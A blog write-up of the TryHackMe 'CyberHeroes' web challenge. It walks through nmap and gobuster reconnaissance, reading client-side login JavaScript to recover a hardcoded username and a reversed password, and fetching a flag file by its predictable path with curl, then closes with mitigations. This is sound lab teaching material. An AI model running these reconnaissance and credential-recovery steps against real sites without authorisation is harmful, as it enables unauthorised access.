DEV Community

Yogeshwar Peela
Yogeshwar Peela

Posted on Originally published at exploitnotes.hashnode.dev

TryHackMe - CyberHeroes Writeup

Summary

CyberHeros is an easy-rated web challenge built on the iPortfolio Bootstrap template. The site advertises a "login page" challenge directly in its About section. Inspection of login.html reveals that authentication is performed entirely client-side in JavaScript, with the username hardcoded in plaintext and the password obfuscated by a trivial string-reversal function. Once the credentials are recovered from the page source, the same client script reveals the exact filename of a flag file hosted on the webserver, constructed dynamically from the submitted username and password. No exploitation of the server itself is required - the vulnerability is a client-side logic flaw combined with a predictable, credential-derived file path.

  • Target: <MACHINE_IP>
  • Category: Web
  • Difficulty: Easy
  • Key weakness: Client-side authentication with hardcoded/obfuscated credentials in JS, plus a predictable flag filename built from those credentials

1. Reconnaissance

Confirmed host is up and scanned open ports:

nmap -A -Pn <MACHINE_IP> -o nmap
Enter fullscreen mode Exit fullscreen mode

Results:

22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4
80/tcp open  http    Apache httpd 2.4.48 (Ubuntu)
Enter fullscreen mode Exit fullscreen mode

http-title identified the site as "CyberHeros : Index", running the iPortfolio Bootstrap template.

2. Initial Web Enumeration

Pulled the index page and reviewed static assets (aos.js, purecounter.js, validate.js) - all confirmed to be unmodified template vendor libraries, no custom logic there.

The index page's About section directly hints at the objective:

We find vulnerabilities in the website legally... find the vuln on our login page and login to join us.
Enter fullscreen mode Exit fullscreen mode

Nav bar links to login.html.

3. Directory Enumeration

gobuster dir -u http://<MACHINE_IP> -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,bak -t 50
Enter fullscreen mode Exit fullscreen mode

Notable results:

assets                (Status: 301)
changelog.txt         (Status: 200) [Size: 2756]
index.html            (Status: 200) [Size: 6568]
login.html            (Status: 200) [Size: 5753]
Enter fullscreen mode Exit fullscreen mode

No PHP backend, no admin panel, no backup files - confirming the target is static/client-side only.

4. Inspecting login.html

Fetched the login page source directly:

curl http://<MACHINE_IP>/login.html
Enter fullscreen mode Exit fullscreen mode

The page ships an inline <script> block containing the entire authentication logic:

function authenticate() {
  a = document.getElementById('uname')
  b = document.getElementById('pass')
  const RevereString = str => [...str].reverse().join('');
  if (a.value=="h3ck3rBoi" & b.value==RevereString("54321@terceSrepuS")) {
    var xhttp = new XMLHttpRequest();
    xhttp.onreadystatechange = function() {
      if (this.readyState == 4 && this.status == 200) {
        document.getElementById("flag").innerHTML = this.responseText;
      }
    };
    xhttp.open("GET", "RandomLo0o0o0o0o0o0o0o0o0o0gpath12345_Flag_"+a.value+"_"+b.value+".txt", true);
    xhttp.send();
  }
}
Enter fullscreen mode Exit fullscreen mode

Two things fall out of this immediately:

  1. The credential check happens entirely client-side, with the username hardcoded (h3ck3rBoi) and the password only lightly obfuscated via string reversal.
  2. On a successful check, the script requests a flag file whose name is dynamically built from the raw username and password values - meaning the filename itself is fully derivable from the source, with no need to actually trigger the JS in a browser.

5. Recovering the Credentials

Reversing the obfuscated password string by hand:

54321@terceSrepuS  ->  SuperSecret@12345
Enter fullscreen mode Exit fullscreen mode

Recovered credentials:

username: h3ck3rBoi
password: SuperSecret@12345
Enter fullscreen mode Exit fullscreen mode

6. Retrieving the Flag

Reconstructed the flag filename directly from the JS template string and requested it with curl, bypassing the browser/JS entirely:

curl "http://<MACHINE_IP>/RandomLo0o0o0o0o0o0o0o0o0o0gpath12345_Flag_h3ck3rBoi_SuperSecret@12345.txt"
Enter fullscreen mode Exit fullscreen mode

Response:

Congrats Hacker, you made it !!
Go ahead and nail other challenges as well :D

flag{REDACTED}
Enter fullscreen mode Exit fullscreen mode

Key Vulnerabilities

# Vulnerability Location Impact
1 Client-side authentication logic login.html inline <script> Credentials and pass/fail logic fully readable in page source, no server-side verification
2 Weak obfuscation (string reversal) of password Inline JS RevereString() Trivial to reverse by hand, provides no real protection
3 Predictable, credential-derived sensitive file path Inline JS xhttp.open(...) URL construction Flag/secret file directly retrievable via curl once credentials are known, without ever executing the JS or submitting the form

Attack Chain

Recon (nmap: 22, 80 open)
|
v
Enumerate index.html -> hints at login.html
|
v
gobuster -> confirms login.html, no backend endpoints
|
v
curl login.html -> read inline <script> source
|
v
Extract hardcoded username + reverse obfuscated password
|
v
Derive flag filename from JS template string (no browser needed)
|
v
curl flag file directly -> flag captured
Enter fullscreen mode Exit fullscreen mode




Mitigations

  • Never perform authentication decisions client-side; all credential validation must happen on a trusted server, with the client only submitting credentials over an authenticated session.
  • Do not rely on obfuscation (encoding, reversal, simple ciphers) as a substitute for real access control - anything shipped to the client is fully readable by the client.
  • Do not derive sensitive resource paths (flags, secrets, admin files) from data that is already exposed to the client, such as hardcoded credentials in JS - this makes the resource trivially reachable without ever satisfying the intended check.
  • Serve sensitive files only behind server-side, session-validated access checks, and avoid predictable or pattern-based filenames for anything not meant to be publicly enumerable.

Top comments (0)